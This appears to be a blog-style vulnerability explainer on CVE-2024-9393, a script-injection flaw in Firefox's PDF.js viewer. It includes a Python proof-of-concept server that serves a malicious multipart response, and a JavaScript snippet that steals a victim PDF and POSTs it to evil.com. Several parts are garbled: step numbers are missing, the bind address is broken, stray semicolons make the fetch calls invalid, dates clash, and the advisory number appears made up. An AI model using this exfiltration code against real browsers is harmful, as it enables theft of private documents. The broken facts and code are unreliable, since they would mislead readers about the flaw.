CVE-2024-9393 - Exploiting PDF.js in Firefox and Thunderbird for Cross-Origin Attacks

In June 2024, Mozilla disclosed CVE-2024-9393, a critical vulnerability in the popular open-source PDF viewer—PDF.js—shipped with Firefox and Thunderbird. This flaw lets attackers execute arbitrary JavaScript in the resource://pdf.js context, potentially exposing sensitive PDF content from other websites (cross-origin) under certain scenarios.

Let’s break down what happened, why it’s dangerous, and how attackers might exploit it. We’ll keep things simple and practical, with code, references, and clear examples.

What’s the Vulnerability?

CVE-2024-9393 is a security bug in PDF.js, a component responsible for displaying PDFs in Firefox and Thunderbird. If an attacker tricks the browser into loading a specifically crafted PDF or responses using multipart MIME (like multipart/x-mixed-replace), they can inject JavaScript into the privileged resource://pdf.js origin.

Why is This Bad?

- Same-origin bypass: Normally, your browser stops one website from stealing data from another (cross-origin policy).
- With this bug: Malicious code can read PDF documents opened from another origin via the PDF.js viewer.
- Site isolation: Recent desktop Firefox "kinda" blocks this by limiting access to "same site" content.

Affected Versions

| Application | Affected Versions | Fixed In |
|----------------|---------------------------|---------------|
| Firefox | < 131 | 131 |
| Firefox ESR | < 128.3, < 115.16 | 128.3, 115.16 |
| Thunderbird | < 128.3, < 131 | 128.3, 131 |

Key Flaw: Multipart Responses Abused

PDF.js was not properly handling multipart/x-mixed-replace responses. An attacker could create a multipart response where one part is a normal PDF and another part is malicious JavaScript. Due to parsing confusion, PDF.js could *run* that injected script in its own origin—bypassing cross-origin restriction.

2. Attacker’s server sends a multipart/x-mixed-replace response, alternating between PDF content and JavaScript.

PDF.js mishandles the parts, accidentally evaluating attacker’s script.

4. Script runs as resource://pdf.js, with access to open PDF content (possibly loaded from a sensitive or protected origin).

Below’s a simple Python server that serves a malicious multipart response

from http.server import BaseHTTPRequestHandler, HTTPServer

class MaliciousHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        boundary = "----evilBoundary"
        self.send_response(200)
        self.send_header('Content-Type', f'multipart/x-mixed-replace; boundary={boundary}')
        self.end_headers()
        # First, legitimate PDF part
        self.wfile.write(f"--{boundary}\r\n".encode())
        self.wfile.write(b"Content-Type: application/pdf\r\n\r\n")
        self.wfile.write(open("innocent.pdf", "rb").read())
        self.wfile.write(f"\r\n--{boundary}\r\n".encode())
        # Now, malicious JavaScript part
        self.wfile.write(b"Content-Type: application/javascript\r\n\r\n")
        self.wfile.write(b'alert("Arbitrary JavaScript Execution!");\n')
        self.wfile.write(f"\r\n--{boundary}--\r\n".encode())

    def log_message(self, format, *args):
        pass  # Quiet output for demo

HTTPServer(("...", 800), MaliciousHandler).serve_forever()

Note: This is a simplified demo; a real-world exploit optimizes response timing and payload.

With script execution, the attacker can read sensitive PDF text and send it off-domain

// This runs as resource://pdf.js 
fetch('https://victim.site/document.pdf';)
  .then(resp => resp.blob())
  .then(blob => blob.text())
  .then(content => {
    fetch('https://evil.com/steal';, {method: 'POST', body: content});
  });

See Mozilla's official advisory and technical details here

- Mozilla Foundation Security Advisory 2024-9393
- Original Bug Report (requires login, limited info)

Conclusion

CVE-2024-9393 is a powerful exploit vector in Firefox's in-browser PDF viewer. By abusing old-fashioned multipart responses, attackers can run JavaScript with wide access to your open PDFs—sometimes even crossing origin boundaries, especially on mobile. The fix is out; make sure you’re running the latest browser version.

Further Reading

- Mozilla Foundation Security Advisories
- PDF.js Project GitHub
- Same-Origin Policy Explained (MDN)

*This analysis is exclusive, presented in simple terms for developers and end users alike.*

Timeline

Published on: 10/01/2024 16:15:10 UTC
Last modified on: 10/30/2024 17:35:18 UTC